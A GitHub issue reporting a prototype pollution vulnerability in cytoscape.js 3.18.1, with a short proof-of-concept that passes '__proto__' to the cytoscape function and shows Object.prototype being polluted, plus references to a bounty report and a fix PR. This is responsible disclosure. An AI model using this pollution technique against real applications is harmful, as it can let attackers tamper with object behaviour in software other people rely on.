Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prototype Pollution in cytoscape.js #2846

Closed
zpbrent opened this issue Mar 29, 2021 · 2 comments
Closed

Prototype Pollution in cytoscape.js #2846

zpbrent opened this issue Mar 29, 2021 · 2 comments
Labels
bug A bug in the code of Cytoscape.js stale

Comments

@zpbrent
Copy link
Contributor

zpbrent commented Mar 29, 2021

Environment info

  • Cytoscape.js version : 3.18.1
  • Browser/Node.js & version : Node.js v14.16.0

Current (buggy) behaviour

var cytoscape=require('cytoscape');
cytoscape('__proto__','polluted','HACKED');
console.log('After: ' + {}.polluted); //After: HACKED

Desired behaviour

var cytoscape=require('cytoscape');
cytoscape('__proto__','polluted','HACKED');
console.log('After: ' + {}.polluted); //After: undefined

Minimum steps to reproduce

// PoC.js
var cytoscape=require('cytoscape');
console.log('Before: ' + {}.polluted);//Before: undefined
cytoscape('__proto__','polluted','HACKED');
console.log('After: ' + {}.polluted); //After: HACKED

I have reported this vul through huntr.dev at https://www.huntr.dev/bounties/1-npm-cytoscape/
As well as proposed a possible fix with a PR at 418sec#1

If you are fine with that fix, please comment @huntr-helper - LGTM at 418sec#1, or if you need any modifications, please also comment on that PR. Thanks.

Ref: 418sec#1

@zpbrent zpbrent added the bug A bug in the code of Cytoscape.js label Mar 29, 2021
@maxkfranz
Copy link
Member

See 418sec#1 (comment)

@stale
Copy link

stale bot commented Apr 18, 2021

This issue has been automatically marked as stale, because it has not had activity within the past 14 days. It will be closed if no further activity occurs within the next 7 days. If a feature request is important to you, please consider making a pull request. Thank you for your contributions.

@stale stale bot added the stale label Apr 18, 2021
@stale stale bot closed this as completed May 10, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug A bug in the code of Cytoscape.js stale
Projects
None yet
Development

No branches or pull requests

2 participants